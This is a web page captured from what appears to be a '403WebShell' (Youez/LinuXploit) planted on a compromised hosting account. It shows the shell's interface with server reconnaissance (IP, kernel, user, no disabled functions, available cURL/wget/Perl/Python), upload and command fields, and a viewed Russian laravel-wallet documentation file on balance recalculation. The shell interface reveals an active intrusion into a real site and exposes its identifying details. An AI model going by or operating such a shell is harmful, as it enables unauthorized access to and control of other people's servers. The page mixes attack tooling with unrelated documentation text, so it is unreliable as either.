Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 13.59.217.1
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/vendor/bavix/laravel-wallet/docs/ru/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/vendor/bavix/laravel-wallet/docs/ru/refresh.md
# Пересчёт баланса

Когда вы создаете множество неподтвержденных операций,
то когда из подтвердит, к примеру, модератор
вы можете увидеть, что средств на счёте пользователя нет.

Для этого существует принудительный пересчёт баланса.

---

## Пользователь

Подтоговим модель, добавив `HasWallet` trait и `Wallet` interface.

```php
use Bavix\Wallet\Traits\HasWallet;
use Bavix\Wallet\Interfaces\Wallet;

class User extends Model implements Wallet
{
    use HasWallet;
}
```

## Пересчёт

Проверим баланс.

```php
$user->id; // int(5)
$user->balance; // int(27)
```

Подтвердим операции пользователя.

```sql
update transactions 
set confirmed=1 
where confirmed=0 and 
      payable_type='App\Models\User' and 
      payable_id=5;
-- 212 rows affected in 54 ms
```

Операций было 212, пересчитаем баланс.

```php
$user->balance; // int(27)
$user->wallet->refreshBalance();
$user->balance; // int(42)
```

Просто работает!

Youez - 2016 - github.com/yon3zu
LinuXploit